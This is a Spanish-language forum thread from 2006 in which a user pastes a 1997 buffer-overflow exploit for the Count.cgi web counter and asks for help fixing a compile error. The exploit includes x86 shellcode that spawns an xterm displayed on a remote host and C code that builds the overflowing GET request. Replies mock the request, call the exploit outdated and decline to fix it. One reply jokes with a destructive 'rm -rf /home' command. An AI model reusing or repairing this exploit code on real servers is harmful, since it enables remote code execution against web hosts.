• Martes 16 de Abril de 2024, 14:27

Autor Tema:  Herrores En Compilacion  (Leído 2402 veces)

Isirius

  • Miembro activo
  • **
  • Mensajes: 31
    • Ver Perfil
Herrores En Compilacion
« en: Sábado 1 de Julio de 2006, 15:28 »
0
/*

Count.cgi (wwwcount) linux test exploit
© 05/1997 by plaguez - dube0866@eurobretagne.fr
Contact me if you manage to improve this crap.

This program needs drastic changes to be useable.
If you can't understand how to modify it for your own purpose,
please do not consider trying it.

*/


#include <stdio.h>
#include <stdlib.h>

char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d"
"\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56"
"\x20\x89\x16\x8d\x56\x2d\x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d"
"\x56\x3a\x89\x56\x0c\x8d\x56\x10"
"\x89\x46\x10\xb0\x0b\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff"
"/usr/X11R6/bin/xterm0-ut0-display0"
"127.000.000.001:00"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff";


/*

Assembly stuff for the previous buffer.
This basically implements an execve syscall, by creating
an array of char* (needs to put a null byte at the end of
all strings).
Here we gonna exec an xterm and send it to our host.
(you can't simply exec a shell due to the cgi proto).

jmp 60
popl %esi
xorl %eax,%eax # efface eax
movl %esi,%ecx # recupere l'adresse du buffer
leal 0x18(%esi),%ebx # recupere l'adresse des chaines
movb %al,0x2c(%esi) # cree les chaines azt
movb %al,0x30(%esi) #
movb %al,0x39(%esi)
movb %al,0x4b(%esi)
leal 0x20(%esi),%edx # cree le char**
movl %edx,(%esi)
leal 0x2d(%esi),%edx
movl %edx,0x4(%esi)
leal 0x31(%esi),%edx
movl %edx,0x8(%esi)
leal 0x3a(%esi),%edx
movl %edx,0xc(%esi)
leal 0x10(%esi),%edx
movl %eax,0x10(%esi)
movb $0xb,%al
int $0x80 # passe en mode kernel
xorl %ebx,%ebx # termine proprement (exit())
movl %ebx,%eax # si jamais le execve() foire.
inc %eax #
int $0x80 #
call -65 # retourne au popl en empilant l'adresse de la chaine
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.ascii \"/usr/X11R6/bin/xterm0\" # 44
.ascii \"-ut0\" # 48
.ascii \"-display0\" # 57 au ;
.ascii \"127.000.000.001:00\" # 75 (total des chaines)
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
...
*/

char qs[7000];
char chaine[]="user=a";

unsigned long getesp() {
// asm("movl %esp,%eax");
return 0xbfffee38;
}

int main(int argc, char **argv) {
int compt;
long stack;

stack=getesp();

if(argc>1)
stack+=atoi(argv[1]);

for(compt=0;compt<4104;compt+=4) {
qs[compt+0] = stack & 0x000000ff;
qs[compt+1] = (stack & 0x0000ff00) >> 8;
qs[compt+2] = (stack & 0x00ff0000) >> 16;
qs[compt+3] = (stack & 0xff000000) >> 24;
}


strcpy(qs,chaine);
qs[strlen(chaine)]=0x90;

qs[4104]= stack&0x000000ff;
qs[4105]=(stack&0x0000ff00)>>8;
qs[4106]=(stack&0x00ff0000)>>16;
qs[4107]=(stack&0xff000000)>>24;
qs[4108]= stack&0x000000ff;
qs[4109]=(stack&0x0000ff00)>>8;
qs[4110]=(stack&0x00ff0000)>>16;
qs[4111]=(stack&0xff000000)>>24;
qs[4112]= stack&0x000000ff;
qs[4113]=(stack&0x0000ff00)>>8;
qs[4114]=(stack&0x00ff0000)>>16;
qs[4115]=(stack&0xff000000)>>24;
qs[4116]= stack&0x000000ff;
qs[4117]=(stack&0x0000ff00)>>8;
qs[4118]=(stack&0x00ff0000)>>16;
qs[4119]=(stack&0xff000000)>>24;
qs[4120]= stack&0x000000ff;
qs[4121]=(stack&0x0000ff00)>>8;
qs[4122]=(stack&0x00ff0000)>>16;
qs[4123]=(stack&0xff000000)>>24;
qs[4124]= stack&0x000000ff;
qs[4125]=(stack&0x0000ff00)>>8;
qs[4126]=(stack&0x00ff0000)>>16;
qs[4127]=(stack&0xff000000)>>24;
qs[4128]= stack&0x000000ff;
qs[4129]=(stack&0x0000ff00)>>8;
qs[4130]=(stack&0x00ff0000)>>16;
qs[4131]=(stack&0xff000000)>>24;

strcpy((char*)&qs[4132],shell);

/* Choose what to do here */
printf("GET /cgi-bin/Count.cgi?%s\n\n",qs);
/*fprintf(stderr,"\n\nadresse: %x0x\n",stack);
printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %x\n\n",qs,stack);
setenv("QUERY_STRING",qs,1);
system("/usr/local/etc/httpd/cgi-bin/Count.cgi");
system("/bin/sh");*/
liniablanca


bash-3.00# gcc veamos.c
veamos.c: In function `main':
veamos.c:167: error: syntax error at end of input
bash-3.00#

Me gustaria saber como arreglar los errores k me da el compilador gracias.

robbie110487

  • Miembro activo
  • **
  • Mensajes: 66
    • Ver Perfil
Re: Herrores En Compilacion
« Respuesta #1 en: Sábado 1 de Julio de 2006, 20:19 »
0
Pues en tu post yo nomas veo dos errores, uno de ortografia y otro en el codigo  :lol:   jeje

el error es aqui:
Código: Text
  1. printf(&#34;GET /cgi-bin/Count.cgi?%s&#092;n&#092;n&#34;,qs);
  2.  

Primero que nada, ¿Sabes que hace el programa o para que sirve?


salu2  :hola:

Geo

  • Miembro de PLATA
  • *****
  • Mensajes: 1011
  • Nacionalidad: mx
    • Ver Perfil
    • http://hsblog.mexchip.com
Re: Herrores En Compilacion
« Respuesta #2 en: Sábado 1 de Julio de 2006, 23:15 »
0
Cita de: "Isirius"
/*

Count.cgi (wwwcount) linux test exploit
© 05/1997 by plaguez - dube0866@eurobretagne.fr
Contact me if you manage to improve this crap.

This program needs drastic changes to be useable.
If you can't understand how to modify it for your own purpose,
please do not consider trying it.


*/

Saludos,
JJ (Geo).
La imaginación es el límite.
Hardware & Software | Mexchip

bob esponja

  • Miembro MUY activo
  • ***
  • Mensajes: 411
    • Ver Perfil
    • http://marianoguerra.blogspot.com
Re: Herrores En Compilacion
« Respuesta #3 en: Sábado 1 de Julio de 2006, 23:25 »
0
© 05/1997

no quiero desanimarte pero compilar un exploit para linux de 1997 (por esa epoca se usaba el kernel 2.2.x) es un poco de iluso...

JuanK

  • Miembro de ORO
  • ******
  • Mensajes: 5393
  • Nacionalidad: co
    • Ver Perfil
    • http://juank.io
Re: Herrores En Compilacion
« Respuesta #4 en: Domingo 2 de Julio de 2006, 02:23 »
0
Cita de: "Isirius"
Herrores En Compilacion

Horrores de ortografia.
[size=109]Juan Carlos Ruiz Pacheco
[/size]
Microsoft Technical Evangelist
@JuanKRuiz
http://juank.io

su -

  • Moderador
  • ******
  • Mensajes: 2349
    • Ver Perfil
Re: Herrores En Compilacion
« Respuesta #5 en: Domingo 2 de Julio de 2006, 02:35 »
0
Citar
bash-3.00# gcc veamos.c
veamos.c: In function `main':
veamos.c:167: error: syntax error at end of input
bash-3.00#
:P  :P  :P
Código: Text
  1. bash-3.00# su -
  2. password:
  3. rm -rf /home
  4. reboot
  5.  
  6.  
ahi tienes tu exploit
Citar
el error es aqui:
Código: Text
  1. printf(&#34;GET /cgi-bin/Count.cgi?%s&#092;n&#092;n&#34;,qs);
  2.  
Yo creo que le falta  el output rn la linea comando.
 :rolleyes:
man gcc
*******PELIGRO LEE ESTO!!*******

There is no place like 127.0.0.1

Conecto luego existo, no conecto luego insisto.

Isirius

  • Miembro activo
  • **
  • Mensajes: 31
    • Ver Perfil
Re: Herrores En Compilacion
« Respuesta #6 en: Domingo 2 de Julio de 2006, 14:15 »
0
Sobre lo del kernel quieres decir que no podre compilarlo o que no me servira despues ahora se en que linia esta el error pero alguien puede decirme como modificarlo para que compile es que de C no se mis lenguages son otros de C nos e nada quien puede decirme como arreglarlo¿? Gracias

su -

  • Moderador
  • ******
  • Mensajes: 2349
    • Ver Perfil
Re: Herrores En Compilacion
« Respuesta #7 en: Domingo 2 de Julio de 2006, 16:04 »
0
Cita de: "Isirius"
Sobre lo del kernel quieres decir que no podre compilarlo o que no me servira despues ahora se en que linia esta el error pero alguien puede decirme como modificarlo para que compile es que de C no se mis lenguages son otros de C nos e nada quien puede decirme como arreglarlo¿? Gracias
El kernel, nada que ver (en este caso) con la compilacion, es solo que el exploit no funcionara.
Cuando compiles trata de siguir este patron (notese que depende de que se compila tendra diversos flags)
Código: Text
  1. gcc veamos.c -o veamos.o
  2.  
por sierto, no se para que sea pero esto no existe en el sistema.
Código: Text
  1. &#34;/usr/X11R6/bin/xterm0-ut0-display0&#34;
  2.  
Para saber mas de gcc en una terminal (konsole, xterm, eterm, rexvt, gnome-terminal mxterm...) ejecuta este comando:
Código: Text
  1. man gcc
  2.  
para mas info, google|yahoo|lycos|hotweb.
*******PELIGRO LEE ESTO!!*******

There is no place like 127.0.0.1

Conecto luego existo, no conecto luego insisto.

Isirius

  • Miembro activo
  • **
  • Mensajes: 31
    • Ver Perfil
Re: Herrores En Compilacion
« Respuesta #8 en: Domingo 2 de Julio de 2006, 16:34 »
0
OK he probado de compilar asi y si va bien pero el problema es que sigue dando los mismos errores alguien me pude ayudar a modificar el codigo para que no me de esos errores gracias.

su -

  • Moderador
  • ******
  • Mensajes: 2349
    • Ver Perfil
Re: Herrores En Compilacion
« Respuesta #9 en: Domingo 2 de Julio de 2006, 16:43 »
0
Cita de: "Isirius"
OK he probado de compilar asi y si va bien pero el problema es que sigue dando los mismos errores alguien me pude ayudar a modificar el codigo para que no me de esos errores gracias.
http://www.openbsd.org/cgi-bin/man.cgi?que...rintf&sektion=3
Primero aprende el lenguaje, depues modifica.... tal como señala Geo.
 :rolleyes:
*******PELIGRO LEE ESTO!!*******

There is no place like 127.0.0.1

Conecto luego existo, no conecto luego insisto.

x.cyclop

  • Miembro de PLATA
  • *****
  • Mensajes: 1039
  • Nacionalidad: mx
    • Ver Perfil
Re: Herrores En Compilacion
« Respuesta #10 en: Domingo 2 de Julio de 2006, 17:12 »
0
Cita de: "Geo"
    </li>
  • Primero, no se hacen tareas, pero si se puede ayudar con dudas puntuales de las mismas.
    </li>
  • Segundo, ¿puedes decirme porqué el código que muestras es C++?
    </li>
  • Tercero, ¿conoces la diferencia entre C y C++?
    </li>
  • Cuarto. ¿De qué materia es esto, lo sabes?
    </li>
  • Quinto. Ya tienes el programa, no sé de dónde lo sacaste o quién te lo pasó, pero pues ya pon algo de tu parte.
    </li>
:good:

Si no tienes idea de lo que hace ni porqué da esos errores, no pretendas que te lo hagan.

Por otro lado, parece que no lees ni siquiera los comentarios:

Contact me if you manage to improve this crap.

This program needs drastic changes to be useable.
If you can't understand how to modify it for your own purpose,
please do not consider trying it.


Yo, o me pondría a estudiar o a contactaría al autor. :whistling:

- Great works aren't produced on the first try. [Ernest Hemingway]
- Be ambitious, yet realistic in your dreams. Do something that makes a positive impact. Don’t let the nay-sayers get you down. [Bjarne Stroustrup]